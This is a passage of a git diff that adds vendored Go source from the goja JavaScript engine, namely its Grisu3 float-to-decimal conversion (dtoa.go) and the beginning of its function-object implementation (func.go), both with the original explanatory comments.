{ + f_ <<= 10 + e -= 10 + } + for f_&kUint64MSB == 0 { + f_ <<= 1 + e-- + } + f.f, f.e = f_, e +} + +func normalizeDiyfp(f diyfp) diyfp { + res := f + res._normalize() + return res +} + +// f must be strictly greater than 0. +func (d double) toNormalizedDiyfp() diyfp { + f, e := d.sigExp() + + // The current float could be a denormal. + for (f & kHiddenBit) == 0 { + f <<= 1 + e-- + } + // Do the final shifts in one go. + f <<= diyFpKSignificandSize - kSignificandSize + e -= diyFpKSignificandSize - kSignificandSize + return diyfp{f, e} +} + +// Returns the two boundaries of this. +// The bigger boundary (m_plus) is normalized. The lower boundary has the same +// exponent as m_plus. +// Precondition: the value encoded by this Double must be greater than 0. +func (d double) normalizedBoundaries() (m_minus, m_plus diyfp) { + v := d.toDiyFp() + significand_is_zero := v.f == kHiddenBit + m_plus = normalizeDiyfp(diyfp{f: (v.f << 1) + 1, e: v.e - 1}) + if significand_is_zero && v.e != kDenormalExponent { + // The boundary is closer. Think of v = 1000e10 and v- = 9999e9. + // Then the boundary (== (v - v-)/2) is not just at a distance of 1e9 but + // at a distance of 1e8. + // The only exception is for the smallest normal: the largest denormal is + // at the same distance as its successor. + // Note: denormals have the same exponent as the smallest normals. + m_minus = diyfp{f: (v.f << 2) - 1, e: v.e - 2} + } else { + m_minus = diyfp{f: (v.f << 1) - 1, e: v.e - 1} + } + m_minus.f <<= m_minus.e - m_plus.e + m_minus.e = m_plus.e + return +} + +func (d double) toDiyFp() diyfp { + f, e := d.sigExp() + return diyfp{f: f, e: e} +} + +func (d double) sigExp() (significand uint64, exponent int) { + d64 := math.Float64bits(float64(d)) + significand = d64 & kSignificandMask + if d64&kExponentMask != 0 { // not denormal + significand += kHiddenBit + exponent = int((d64&kExponentMask)>>kPhysicalSignificandSize) - kExponentBias + } else { + exponent = kDenormalExponent + } + return +} diff --git a/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/dtoa.go b/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/dtoa.go new file mode 100644 index 0000000..b12870a --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/dtoa.go @@ -0,0 +1,642 @@ +package fast + +import ( + "fmt" + "strconv" +) + +const ( + kMinimalTargetExponent = -60 + kMaximalTargetExponent = -32 + + kTen4 = 10000 + kTen5 = 100000 + kTen6 = 1000000 + kTen7 = 10000000 + kTen8 = 100000000 + kTen9 = 1000000000 +) + +type Mode int + +const ( + ModeShortest Mode = iota + ModePrecision +) + +// Adjusts the last digit of the generated number, and screens out generated +// solutions that may be inaccurate. A solution may be inaccurate if it is +// outside the safe interval, or if we cannot prove that it is closer to the +// input than a neighboring representation of the same length. +// +// Input: * buffer containing the digits of too_high / 10^kappa +// - distance_too_high_w == (too_high - w).f() * unit +// - unsafe_interval == (too_high - too_low).f() * unit +// - rest = (too_high - buffer * 10^kappa).f() * unit +// - ten_kappa = 10^kappa * unit +// - unit = the common multiplier +// +// Output: returns true if the buffer is guaranteed to contain the closest +// +// representable number to the input. +// Modifies the generated digits in the buffer to approach (round towards) w. +func roundWeed(buffer []byte, distance_too_high_w, unsafe_interval, rest, ten_kappa, unit uint64) bool { + small_distance := distance_too_high_w - unit + big_distance := distance_too_high_w + unit + + // Let w_low = too_high - big_distance, and + // w_high = too_high - small_distance. + // Note: w_low < w < w_high + // + // The real w (* unit) must lie somewhere inside the interval + // ]w_low; w_high[ (often written as "(w_low; w_high)") + + // Basically the buffer currently contains a number in the unsafe interval + // ]too_low; too_high[ with too_low < w < too_high + // + // too_high - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + // ^v 1 unit ^ ^ ^ ^ + // boundary_high --------------------- . . . . + // ^v 1 unit . . . . + // - - - - - - - - - - - - - - - - - - - + - - + - - - - - - . . + // . . ^ . . + // . big_distance . . . + // . . . . rest + // small_distance . . . . + // v . . . . + // w_high - - - - - - - - - - - - - - - - - - . . . . + // ^v 1 unit . . . . + // w ---------------------------------------- . . . . + // ^v 1 unit v . . . + // w_low - - - - - - - - - - - - - - - - - - - - - . . . + // . . v + // buffer --------------------------------------------------+-------+-------- + // . . + // safe_interval . + // v . + // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . + // ^v 1 unit . + // boundary_low ------------------------- unsafe_interval + // ^v 1 unit v + // too_low - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + // + // + // Note that the value of buffer could lie anywhere inside the range too_low + // to too_high. + // + // boundary_low, boundary_high and w are approximations of the real boundaries + // and v (the input number). They are guaranteed to be precise up to one unit. + // In fact the error is guaranteed to be strictly less than one unit. + // + // Anything that lies outside the unsafe interval is guaranteed not to round + // to v when read again. + // Anything that lies inside the safe interval is guaranteed to round to v + // when read again. + // If the number inside the buffer lies inside the unsafe interval but not + // inside the safe interval then we simply do not know and bail out (returning + // false). + // + // Similarly we have to take into account the imprecision of 'w' when finding + // the closest representation of 'w'. If we have two potential + // representations, and one is closer to both w_low and w_high, then we know + // it is closer to the actual value v. + // + // By generating the digits of too_high we got the largest (closest to + // too_high) buffer that is still in the unsafe interval. In the case where + // w_high < buffer < too_high we try to decrement the buffer. + // This way the buffer approaches (rounds towards) w. + // There are 3 conditions that stop the decrementation process: + // 1) the buffer is already below w_high + // 2) decrementing the buffer would make it leave the unsafe interval + // 3) decrementing the buffer would yield a number below w_high and farther + // away than the current number. In other words: + // (buffer{-1} < w_high) && w_high - buffer{-1} > buffer - w_high + // Instead of using the buffer directly we use its distance to too_high. + // Conceptually rest ~= too_high - buffer + // We need to do the following tests in this order to avoid over- and + // underflows. + _DCHECK(rest <= unsafe_interval) + for rest < small_distance && // Negated condition 1 + unsafe_interval-rest >= ten_kappa && // Negated condition 2 + (rest+ten_kappa < small_distance || // buffer{-1} > w_high + small_distance-rest >= rest+ten_kappa-small_distance) { + buffer[len(buffer)-1]-- + rest += ten_kappa + } + + // We have approached w+ as much as possible. We now test if approaching w- + // would require changing the buffer. If yes, then we have two possible + // representations close to w, but we cannot decide which one is closer. + if rest < big_distance && unsafe_interval-rest >= ten_kappa && + (rest+ten_kappa < big_distance || + big_distance-rest > rest+ten_kappa-big_distance) { + return false + } + + // Weeding test. + // The safe interval is [too_low + 2 ulp; too_high - 2 ulp] + // Since too_low = too_high - unsafe_interval this is equivalent to + // [too_high - unsafe_interval + 4 ulp; too_high - 2 ulp] + // Conceptually we have: rest ~= too_high - buffer + return (2*unit <= rest) && (rest <= unsafe_interval-4*unit) +} + +// Rounds the buffer upwards if the result is closer to v by possibly adding +// 1 to the buffer. If the precision of the calculation is not sufficient to +// round correctly, return false. +// The rounding might shift the whole buffer in which case the kappa is +// adjusted. For example "99", kappa = 3 might become "10", kappa = 4. +// +// If 2*rest > ten_kappa then the buffer needs to be round up. +// rest can have an error of +/- 1 unit. This function accounts for the +// imprecision and returns false, if the rounding direction cannot be +// unambiguously determined. +// +// Precondition: rest < ten_kappa. +func roundWeedCounted(buffer []byte, rest, ten_kappa, unit uint64, kappa *int) bool { + _DCHECK(rest < ten_kappa) + // The following tests are done in a specific order to avoid overflows. They + // will work correctly with any uint64 values of rest < ten_kappa and unit. + // + // If the unit is too big, then we don't know which way to round. For example + // a unit of 50 means that the real number lies within rest +/- 50. If + // 10^kappa == 40 then there is no way to tell which way to round. + if unit >= ten_kappa { + return false + } + // Even if unit is just half the size of 10^kappa we are already completely + // lost. (And after the previous test we know that the expression will not + // over/underflow.) + if ten_kappa-unit <= unit { + return false + } + // If 2 * (rest + unit) <= 10^kappa we can safely round down. + if (ten_kappa-rest > rest) && (ten_kappa-2*rest >= 2*unit) { + return true + } + + // If 2 * (rest - unit) >= 10^kappa, then we can safely round up. + if (rest > unit) && (ten_kappa-(rest-unit) <= (rest - unit)) { + // Increment the last digit recursively until we find a non '9' digit. + buffer[len(buffer)-1]++ + for i := len(buffer) - 1; i > 0; i-- { + if buffer[i] != '0'+10 { + break + } + buffer[i] = '0' + buffer[i-1]++ + } + // If the first digit is now '0'+ 10 we had a buffer with all '9's. With the + // exception of the first digit all digits are now '0'. Simply switch the + // first digit to '1' and adjust the kappa. Example: "99" becomes "10" and + // the power (the kappa) is increased. + if buffer[0] == '0'+10 { + buffer[0] = '1' + *kappa += 1 + } + return true + } + return false +} + +// Returns the biggest power of ten that is less than or equal than the given +// number. We furthermore receive the maximum number of bits 'number' has. +// If number_bits == 0 then 0^-1 is returned +// The number of bits must be <= 32. +// Precondition: number < (1 << (number_bits + 1)). +func biggestPowerTen(number uint32, number_bits int) (power uint32, exponent int) { + switch number_bits { + case 32, 31, 30: + if kTen9 <= number { + power = kTen9 + exponent = 9 + break + } + fallthrough + case 29, 28, 27: + if kTen8 <= number { + power = kTen8 + exponent = 8 + break + } + fallthrough + case 26, 25, 24: + if kTen7 <= number { + power = kTen7 + exponent = 7 + break + } + fallthrough + case 23, 22, 21, 20: + if kTen6 <= number { + power = kTen6 + exponent = 6 + break + } + fallthrough + case 19, 18, 17: + if kTen5 <= number { + power = kTen5 + exponent = 5 + break + } + fallthrough + case 16, 15, 14: + if kTen4 <= number { + power = kTen4 + exponent = 4 + break + } + fallthrough + case 13, 12, 11, 10: + if 1000 <= number { + power = 1000 + exponent = 3 + break + } + fallthrough + case 9, 8, 7: + if 100 <= number { + power = 100 + exponent = 2 + break + } + fallthrough + case 6, 5, 4: + if 10 <= number { + power = 10 + exponent = 1 + break + } + fallthrough + case 3, 2, 1: + if 1 <= number { + power = 1 + exponent = 0 + break + } + fallthrough + case 0: + power = 0 + exponent = -1 + } + return +} + +// Generates the digits of input number w. +// w is a floating-point number (DiyFp), consisting of a significand and an +// exponent. Its exponent is bounded by kMinimalTargetExponent and +// kMaximalTargetExponent. +// +// Hence -60 <= w.e() <= -32. +// +// Returns false if it fails, in which case the generated digits in the buffer +// should not be used. +// Preconditions: +// - low, w and high are correct up to 1 ulp (unit in the last place). That +// is, their error must be less than a unit of their last digits. +// - low.e() == w.e() == high.e() +// - low < w < high, and taking into account their error: low~ <= high~ +// - kMinimalTargetExponent <= w.e() <= kMaximalTargetExponent +// +// Postconditions: returns false if procedure fails. +// +// otherwise: +// * buffer is not null-terminated, but len contains the number of digits. +// * buffer contains the shortest possible decimal digit-sequence +// such that LOW < buffer * 10^kappa < HIGH, where LOW and HIGH are the +// correct values of low and high (without their error). +// * if more than one decimal representation gives the minimal number of +// decimal digits then the one closest to W (where W is the correct value +// of w) is chosen. +// +// Remark: this procedure takes into account the imprecision of its input +// +// numbers. If the precision is not enough to guarantee all the postconditions +// then false is returned. This usually happens rarely (~0.5%). +// +// Say, for the sake of example, that +// +// w.e() == -48, and w.f() == 0x1234567890ABCDEF +// +// w's value can be computed by w.f() * 2^w.e() +// We can obtain w's integral digits by simply shifting w.f() by -w.e(). +// +// -> w's integral part is 0x1234 +// w's fractional part is therefore 0x567890ABCDEF. +// +// Printing w's integral part is easy (simply print 0x1234 in decimal). +// In order to print its fraction we repeatedly multiply the fraction by 10 and +// get each digit. Example the first digit after the point would be computed by +// +// (0x567890ABCDEF * 10) >> 48. -> 3 +// +// The whole thing becomes slightly more complicated because we want to stop +// once we have enough digits. That is, once the digits inside the buffer +// represent 'w' we can stop. Everything inside the interval low - high +// represents w. However we have to pay attention to low, high and w's +// imprecision. +func digitGen(low, w, high diyfp, buffer []byte) (kappa int, buf []byte, res bool) { + _DCHECK(low.e == w.e && w.e == high.e) + _DCHECK(low.f+1 <= high.f-1) + _DCHECK(kMinimalTargetExponent <= w.e && w.e <= kMaximalTargetExponent) + // low, w and high are imprecise, but by less than one ulp (unit in the last + // place). + // If we remove (resp. add) 1 ulp from low (resp. high) we are certain that + // the new numbers are outside of the interval we want the final + // representation to lie in. + // Inversely adding (resp. removing) 1 ulp from low (resp. high) would yield + // numbers that are certain to lie in the interval. We will use this fact + // later on. + // We will now start by generating the digits within the uncertain + // interval. Later we will weed out representations that lie outside the safe + // interval and thus _might_ lie outside the correct interval. + unit := uint64(1) + too_low := diyfp{f: low.f - unit, e: low.e} + too_high := diyfp{f: high.f + unit, e: high.e} + // too_low and too_high are guaranteed to lie outside the interval we want the + // generated number in. + unsafe_interval := too_high.minus(too_low) + // We now cut the input number into two parts: the integral digits and the + // fractionals. We will not write any decimal separator though, but adapt + // kappa instead. + // Reminder: we are currently computing the digits (stored inside the buffer) + // such that: too_low < buffer * 10^kappa < too_high + // We use too_high for the digit_generation and stop as soon as possible. + // If we stop early we effectively round down. + one := diyfp{f: 1 << -w.e, e: w.e} + // Division by one is a shift. + integrals := uint32(too_high.f >> -one.e) + // Modulo by one is an and. + fractionals := too_high.f & (one.f - 1) + divisor, divisor_exponent := biggestPowerTen(integrals, diyFpKSignificandSize-(-one.e)) + kappa = divisor_exponent + 1 + buf = buffer + for kappa > 0 { + digit := int(integrals / divisor) + buf = append(buf, byte('0'+digit)) + integrals %= divisor + kappa-- + // Note that kappa now equals the exponent of the divisor and that the + // invariant thus holds again. + rest := uint64(integrals)<<-one.e + fractionals + // Invariant: too_high = buffer * 10^kappa + DiyFp(rest, one.e) + // Reminder: unsafe_interval.e == one.e + if rest < unsafe_interval.f { + // Rounding down (by not emitting the remaining digits) yields a number + // that lies within the unsafe interval. + res = roundWeed(buf, too_high.minus(w).f, + unsafe_interval.f, rest, + uint64(divisor)<<-one.e, unit) + return + } + divisor /= 10 + } + // The integrals have been generated. We are at the point of the decimal + // separator. In the following loop we simply multiply the remaining digits by + // 10 and divide by one. We just need to pay attention to multiply associated + // data (like the interval or 'unit'), too. + // Note that the multiplication by 10 does not overflow, because w.e >= -60 + // and thus one.e >= -60. + _DCHECK(one.e >= -60) + _DCHECK(fractionals < one.f) + _DCHECK(0xFFFFFFFFFFFFFFFF/10 >= one.f) + for { + fractionals *= 10 + unit *= 10 + unsafe_interval.f *= 10 + // Integer division by one. + digit := byte(fractionals >> -one.e) + buf = append(buf, '0'+digit) + fractionals &= one.f - 1 // Modulo by one. + kappa-- + if fractionals < unsafe_interval.f { + res = roundWeed(buf, too_high.minus(w).f*unit, unsafe_interval.f, fractionals, one.f, unit) + return + } + } +} + +// Generates (at most) requested_digits of input number w. +// w is a floating-point number (DiyFp), consisting of a significand and an +// exponent. Its exponent is bounded by kMinimalTargetExponent and +// kMaximalTargetExponent. +// +// Hence -60 <= w.e() <= -32. +// +// Returns false if it fails, in which case the generated digits in the buffer +// should not be used. +// Preconditions: +// - w is correct up to 1 ulp (unit in the last place). That +// is, its error must be strictly less than a unit of its last digit. +// - kMinimalTargetExponent <= w.e() <= kMaximalTargetExponent +// +// Postconditions: returns false if procedure fails. +// +// otherwise: +// * buffer is not null-terminated, but length contains the number of +// digits. +// * the representation in buffer is the most precise representation of +// requested_digits digits. +// * buffer contains at most requested_digits digits of w. If there are less +// than requested_digits digits then some trailing '0's have been removed. +// * kappa is such that +// w = buffer * 10^kappa + eps with |eps| < 10^kappa / 2. +// +// Remark: This procedure takes into account the imprecision of its input +// +// numbers. If the precision is not enough to guarantee all the postconditions +// then false is returned. This usually happens rarely, but the failure-rate +// increases with higher requested_digits. +func digitGenCounted(w diyfp, requested_digits int, buffer []byte) (kappa int, buf []byte, res bool) { + _DCHECK(kMinimalTargetExponent <= w.e && w.e <= kMaximalTargetExponent) + + // w is assumed to have an error less than 1 unit. Whenever w is scaled we + // also scale its error. + w_error := uint64(1) + // We cut the input number into two parts: the integral digits and the + // fractional digits. We don't emit any decimal separator, but adapt kappa + // instead. Example: instead of writing "1.2" we put "12" into the buffer and + // increase kappa by 1. + one := diyfp{f: 1 << -w.e, e: w.e} + // Division by one is a shift. + integrals := uint32(w.f >> -one.e) + // Modulo by one is an and. + fractionals := w.f & (one.f - 1) + divisor, divisor_exponent := biggestPowerTen(integrals, diyFpKSignificandSize-(-one.e)) + kappa = divisor_exponent + 1 + buf = buffer + // Loop invariant: buffer = w / 10^kappa (integer division) + // The invariant holds for the first iteration: kappa has been initialized + // with the divisor exponent + 1. And the divisor is the biggest power of ten + // that is smaller than 'integrals'. + for kappa > 0 { + digit := byte(integrals / divisor) + buf = append(buf, '0'+digit) + requested_digits-- + integrals %= divisor + kappa-- + // Note that kappa now equals the exponent of the divisor and that the + // invariant thus holds again. + if requested_digits == 0 { + break + } + divisor /= 10 + } + + if requested_digits == 0 { + rest := uint64(integrals)<<-one.e + fractionals + res = roundWeedCounted(buf, rest, uint64(divisor)<<-one.e, w_error, &kappa) + return + } + + // The integrals have been generated. We are at the point of the decimal + // separator. In the following loop we simply multiply the remaining digits by + // 10 and divide by one. We just need to pay attention to multiply associated + // data (the 'unit'), too. + // Note that the multiplication by 10 does not overflow, because w.e >= -60 + // and thus one.e >= -60. + _DCHECK(one.e >= -60) + _DCHECK(fractionals < one.f) + _DCHECK(0xFFFFFFFFFFFFFFFF/10 >= one.f) + for requested_digits > 0 && fractionals > w_error { + fractionals *= 10 + w_error *= 10 + // Integer division by one. + digit := byte(fractionals >> -one.e) + buf = append(buf, '0'+digit) + requested_digits-- + fractionals &= one.f - 1 // Modulo by one. + kappa-- + } + if requested_digits != 0 { + res = false + } else { + res = roundWeedCounted(buf, fractionals, one.f, w_error, &kappa) + } + return +} + +// Provides a decimal representation of v. +// Returns true if it succeeds, otherwise the result cannot be trusted. +// There will be *length digits inside the buffer (not null-terminated). +// If the function returns true then +// +// v == (double) (buffer * 10^decimal_exponent). +// +// The digits in the buffer are the shortest representation possible: no +// 0.09999999999999999 instead of 0.1. The shorter representation will even be +// chosen even if the longer one would be closer to v. +// The last digit will be closest to the actual v. That is, even if several +// digits might correctly yield 'v' when read again, the closest will be +// computed. +func grisu3(f float64, buffer []byte) (digits []byte, decimal_exponent int, result bool) { + v := double(f) + w := v.toNormalizedDiyfp() + + // boundary_minus and boundary_plus are the boundaries between v and its + // closest floating-point neighbors. Any number strictly between + // boundary_minus and boundary_plus will round to v when convert to a double. + // Grisu3 will never output representations that lie exactly on a boundary. + boundary_minus, boundary_plus := v.normalizedBoundaries() + ten_mk_minimal_binary_exponent := kMinimalTargetExponent - (w.e + diyFpKSignificandSize) + ten_mk_maximal_binary_exponent := kMaximalTargetExponent - (w.e + diyFpKSignificandSize) + ten_mk, mk := getCachedPowerForBinaryExponentRange(ten_mk_minimal_binary_exponent, ten_mk_maximal_binary_exponent) + + _DCHECK( + (kMinimalTargetExponent <= + w.e+ten_mk.e+diyFpKSignificandSize) && + (kMaximalTargetExponent >= w.e+ten_mk.e+diyFpKSignificandSize)) + // Note that ten_mk is only an approximation of 10^-k. A DiyFp only contains a + // 64 bit significand and ten_mk is thus only precise up to 64 bits. + + // The DiyFp::Times procedure rounds its result, and ten_mk is approximated + // too. The variable scaled_w (as well as scaled_boundary_minus/plus) are now + // off by a small amount. + // In fact: scaled_w - w*10^k < 1ulp (unit in the last place) of scaled_w. + // In other words: let f = scaled_w.f() and e = scaled_w.e(), then + // (f-1) * 2^e < w*10^k < (f+1) * 2^e + scaled_w := w.times(ten_mk) + _DCHECK(scaled_w.e == + boundary_plus.e+ten_mk.e+diyFpKSignificandSize) + // In theory it would be possible to avoid some recomputations by computing + // the difference between w and boundary_minus/plus (a power of 2) and to + // compute scaled_boundary_minus/plus by subtracting/adding from + // scaled_w. However the code becomes much less readable and the speed + // enhancements are not terrific. + scaled_boundary_minus := boundary_minus.times(ten_mk) + scaled_boundary_plus := boundary_plus.times(ten_mk) + // DigitGen will generate the digits of scaled_w. Therefore we have + // v == (double) (scaled_w * 10^-mk). + // Set decimal_exponent == -mk and pass it to DigitGen. If scaled_w is not an + // integer than it will be updated. For instance if scaled_w == 1.23 then + // the buffer will be filled with "123" und the decimal_exponent will be + // decreased by 2. + var kappa int + kappa, digits, result = digitGen(scaled_boundary_minus, scaled_w, scaled_boundary_plus, buffer) + decimal_exponent = -mk + kappa + return +} + +// The "counted" version of grisu3 (see above) only generates requested_digits +// number of digits. This version does not generate the shortest representation, +// and with enough requested digits 0.1 will at some point print as 0.9999999... +// Grisu3 is too imprecise for real halfway cases (1.5 will not work) and +// therefore the rounding strategy for halfway cases is irrelevant. +func grisu3Counted(v float64, requested_digits int, buffer []byte) (digits []byte, decimal_exponent int, result bool) { + w := double(v).toNormalizedDiyfp() + ten_mk_minimal_binary_exponent := kMinimalTargetExponent - (w.e + diyFpKSignificandSize) + ten_mk_maximal_binary_exponent := kMaximalTargetExponent - (w.e + diyFpKSignificandSize) + ten_mk, mk := getCachedPowerForBinaryExponentRange(ten_mk_minimal_binary_exponent, ten_mk_maximal_binary_exponent) + + _DCHECK( + (kMinimalTargetExponent <= + w.e+ten_mk.e+diyFpKSignificandSize) && + (kMaximalTargetExponent >= w.e+ten_mk.e+diyFpKSignificandSize)) + // Note that ten_mk is only an approximation of 10^-k. A DiyFp only contains a + // 64 bit significand and ten_mk is thus only precise up to 64 bits. + + // The DiyFp::Times procedure rounds its result, and ten_mk is approximated + // too. The variable scaled_w (as well as scaled_boundary_minus/plus) are now + // off by a small amount. + // In fact: scaled_w - w*10^k < 1ulp (unit in the last place) of scaled_w. + // In other words: let f = scaled_w.f() and e = scaled_w.e(), then + // (f-1) * 2^e < w*10^k < (f+1) * 2^e + scaled_w := w.times(ten_mk) + // We now have (double) (scaled_w * 10^-mk). + // DigitGen will generate the first requested_digits digits of scaled_w and + // return together with a kappa such that scaled_w ~= buffer * 10^kappa. (It + // will not always be exactly the same since DigitGenCounted only produces a + // limited number of digits.) + var kappa int + kappa, digits, result = digitGenCounted(scaled_w, requested_digits, buffer) + decimal_exponent = -mk + kappa + + return +} + +// v must be > 0 and must not be Inf or NaN +func Dtoa(v float64, mode Mode, requested_digits int, buffer []byte) (digits []byte, decimal_point int, result bool) { + defer func() { + if x := recover(); x != nil { + if x == dcheckFailure { + panic(fmt.Errorf("DCHECK assertion failed while formatting %s in mode %d", strconv.FormatFloat(v, 'e', 50, 64), mode)) + } + panic(x) + } + }() + var decimal_exponent int + startPos := len(buffer) + switch mode { + case ModeShortest: + digits, decimal_exponent, result = grisu3(v, buffer) + case ModePrecision: + digits, decimal_exponent, result = grisu3Counted(v, requested_digits, buffer) + } + if result { + decimal_point = len(digits) - startPos + decimal_exponent + } else { + digits = digits[:startPos] + } + return +} diff --git a/backend/vendor/github.com/dop251/goja/func.go b/backend/vendor/github.com/dop251/goja/func.go new file mode 100644 index 0000000..fea3230 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/func.go @@ -0,0 +1,1113 @@ +package goja + +import ( + "fmt" + "reflect" + + "github.com/dop251/goja/unistring" +) + +type resultType uint8 + +const ( + resultNormal resultType = iota + resultYield + resultYieldRes // a yield that expects a value in return + resultYieldDelegate // yield* + resultYieldDelegateRes + resultAwait +) + +// used both as an instruction and as a Value +type yieldMarker struct { + valueNull + resultType resultType +} + +var ( + await = &yieldMarker{resultType: resultAwait} + + yield = &yieldMarker{resultType: resultYield} + yieldRes = &yieldMarker{resultType: resultYieldRes} + yieldDelegate = &yieldMarker{resultType: resultYieldDelegate} + yieldDelegateRes = &yieldMarker{resultType: resultYieldDelegateRes} + yieldEmpty = &yieldMarker{resultType: resultYield} +) + +// AsyncContextTracker is a handler that allows to track an async execution context to ensure it remains +// consistent across all callback invocations. +// Whenever a Promise reaction job is scheduled the Grab method is called. It is supposed to return the +// current context. The same context will be supplied to the Resumed method before the reaction job is +// executed. The Exited method is called after the reaction job is finished. +// This means that for each invocation of the Grab method there will be exactly one subsequent invocation +// of Resumed and then Exited methods (assuming the Promise is fulfilled or rejected). Also, the Resumed/Exited +// calls cannot be nested, so Exited can simply clear the current context instead of popping from a stack. +// Note, this works for both async functions and regular Promise.then()/Promise.catch() callbacks. +// See TestAsyncContextTracker for more insight. +// +// To register it call Runtime.SetAsyncContextTracker(). +type AsyncContextTracker interface { + Grab() (trackingObject interface{}) + Resumed(trackingObject interface{}) + Exited() +} + +type funcObjectImpl interface { + source() String +} + +type baseFuncObject struct { + baseObject + + lenProp valueProperty +} + +type baseJsFuncObject struct { + baseFuncObject + + stash *stash + privEnv *privateEnv + + prg *Program + src string + strict bool +} + +type funcObject struct { + baseJsFuncObject +} + +type generatorFuncObject struct { + baseJsFuncObject +} + +type asyncFuncObject struct { + baseJsFuncObject +} + +type classFuncObject struct { + baseJsFuncObject + initFields *Program + computedKeys []Value + + privateEnvType *privateEnvType + privateMethods []Value + + derived bool +} + +type methodFuncObject struct { + baseJsFuncObject + homeObject *Object +} + +type generatorMethodFuncObject struct { + methodFuncObject +} + +type asyncMethodFuncObject struct { + methodFuncObject +} + +type arrowFuncObject struct { + baseJsFuncObject + funcObj *Object + newTarget Value +} + +type asyncArrowFuncObject struct { + arrowFuncObject +} + +type nativeFuncObject struct { + baseFuncObject + + f func(FunctionCall) Value + construct func(args []Value, newTarget *Object) *Object +} + +type wrappedFuncObject struct { + nativeFuncObject + wrapped reflect.Value +} + +type boundFuncObject struct { + nativeFuncObject + wrapped *Object +} + +type generatorState uint8 + +const ( + genStateUndefined generatorState = iota + genStateSuspendedStart + genStateExecuting + genStateSuspendedYield + genStateSuspendedYieldRes + genStateCompleted +) + +type generatorObject struct { + baseObject + gen generator + delegated *iteratorRecord + state generatorState +} + +func (f *nativeFuncObject) source() String { + return newStringValue(fmt.Sprintf("function %s() { [native code] }", nilSafe(f.getStr("name", nil)).toString())) +} + +func (f *nativeFuncObject) export(*objectExportCtx) interface{} { + return f.f +} + +func (f *wrappedFuncObject) exportType() reflect.Type { + return f.wrapped.Type() +} + +func (f *wrappedFuncObject) export(*objectExportCtx) interface{} { + return f.wrapped.Interface() +} + +func (f *funcObject) _addProto(n unistring.String) Value { + if n == "prototype" { + if _, exists := f.values[n]; !exists { + return f.addPrototype() + } + } + return nil +} + +func (f *funcObject) getStr(p unistring.String, receiver Value) Value { + return f.getStrWithOwnProp(f.getOwnPropStr(p), p, receiver) +} + +func (f *funcObject) getOwnPropStr(name unistring.String) Value { + if v := f._addProto(name); v != nil { + return v + } + + return f.baseObject.getOwnPropStr(name) +} + +func (f *funcObject) setOwnStr(name unistring.String, val Value, throw bool) bool { + f._addProto(name) + return f.baseObject.setOwnStr(name, val, throw) +} + +func (f *funcObject) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return f._setForeignStr(name, f.getOwnPropStr(name), val, receiver, throw) +} + +func (f *funcObject) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + f._addProto(name) + return f.baseObject.defineOwnPropertyStr(name, descr, throw) +} + +func (f *funcObject) deleteStr(name unistring.String, throw bool) bool { + f._addProto(name) + return f.baseObject.deleteStr(name, throw) +} + +func (f *funcObject) addPrototype() Value { + proto := f.val.runtime.NewObject() + proto.self._putProp("constructor", f.val, true, false, true) + return f._putProp("prototype", proto, true, false, false) +} + +func (f *funcObject) hasOwnPropertyStr(name unistring.String) bool { + if f.baseObject.hasOwnPropertyStr(name) { + return true + } + + if name == "prototype" { + return true + } + return false +} + +func (f *funcObject) stringKeys(all bool, accum []Value) []Value { + if all { + if _, exists := f.values["prototype"]; !exists { + accum = append(accum, asciiString("prototype")) + } + } + return f.baseFuncObject.stringKeys(all, accum) +} + +func (f *funcObject) iterateStringKeys() iterNextFunc { + if _, exists := f.values["prototype"]; !exists { + f.addPrototype() + } + return f.baseFuncObject.iterateStringKeys() +} + +func (f *baseFuncObject) createInstance(newTarget *Object) *Object { + r := f.val.runtime + if newTarget == nil { + newTarget = f.val + } + proto := r.getPrototypeFromCtor(newTarget, nil, r.global.ObjectPrototype) + + return f.val.runtime.newBaseObject(proto, classObject).val +} + +func (f *baseJsFuncObject) source() String { + return newStringValue(f.src) +} + +func (f *baseJsFuncObject) construct(args []Value, newTarget *Object) *Object { + if newTarget == nil { + newTarget = f.val + } + proto := newTarget.self.getStr("prototype", nil) + var protoObj *Object + if p, ok := proto.(*Object); ok { + protoObj = p + } else { + protoObj = f.val.runtime.global.ObjectPrototype + } + + obj := f.val.runtime.newBaseObject(protoObj, classObject).val + ret := f.call(FunctionCall{ + This: obj, + Arguments: args, + }, newTarget) + + if ret, ok := ret.(*Object); ok { + return ret + } + return obj +} + +func (f *classFuncObject) Call(FunctionCall) Value { + panic(f.val.runtime.NewTypeError("Class constructor cannot be invoked without 'new'")) +} + +func (f *classFuncObject) assertCallable() (func(FunctionCall) Value, bool) { + return f.Call, true +} + +func (f *classFuncObject) vmCall(vm *vm, n int) { + f.Call(FunctionCall{}) +} + +func (f *classFuncObject) exportType() reflect.Type { + return reflectTypeCtor +} + +func (f *classFuncObject) Construct(ccall ConstructorCall) *Object { + return f.construct(ccall.Arguments, ccall.NewTarget) +} + +func (f *classFuncObject) export(*objectExportCtx) interface{} { + return f.Construct +} + +func (f *classFuncObject) createInstance(args []Value, newTarget *Object) (instance *Object) { + if f.derived { + if ctor := f.prototype.self.assertConstructor(); ctor != nil { + instance = ctor(args, newTarget) + } else { + panic(f.val.runtime.NewTypeError("Super constructor is not a constructor")) + } + } else { + instance = f.baseFuncObject.createInstance(newTarget) + } + return +} + +func (f *classFuncObject) _initFields(instance *Object) { + if f.privateEnvType != nil { + penv := instance.self.getPrivateEnv(f.privateEnvType, true) + penv.methods = f.privateMethods + } + if f.initFields != nil { + vm := f.val.runtime.vm + vm.pushCtx() + vm.prg = f.initFields + vm.stash = f.stash + vm.privEnv = f.privEnv + vm.newTarget = nil + + // so that 'super' base could be correctly resolved (including from direct eval()) + vm.push(f.val) + + vm.sb = vm.sp + vm.push(instance) + vm.pc = 0 + ex := vm.runTry() + vm.popCtx() + if ex != nil { + panic(ex) + } + vm.sp -= 2 + } +} + +func (f *classFuncObject) construct(args []Value, newTarget *Object) *Object { + if newTarget == nil { + newTarget = f.val + } + if f.prg == nil { + instance := f.createInstance(args, newTarget) + f._initFields(instance) + return instance + } else { + var instance *Object + var thisVal Value + if !f.derived { + instance = 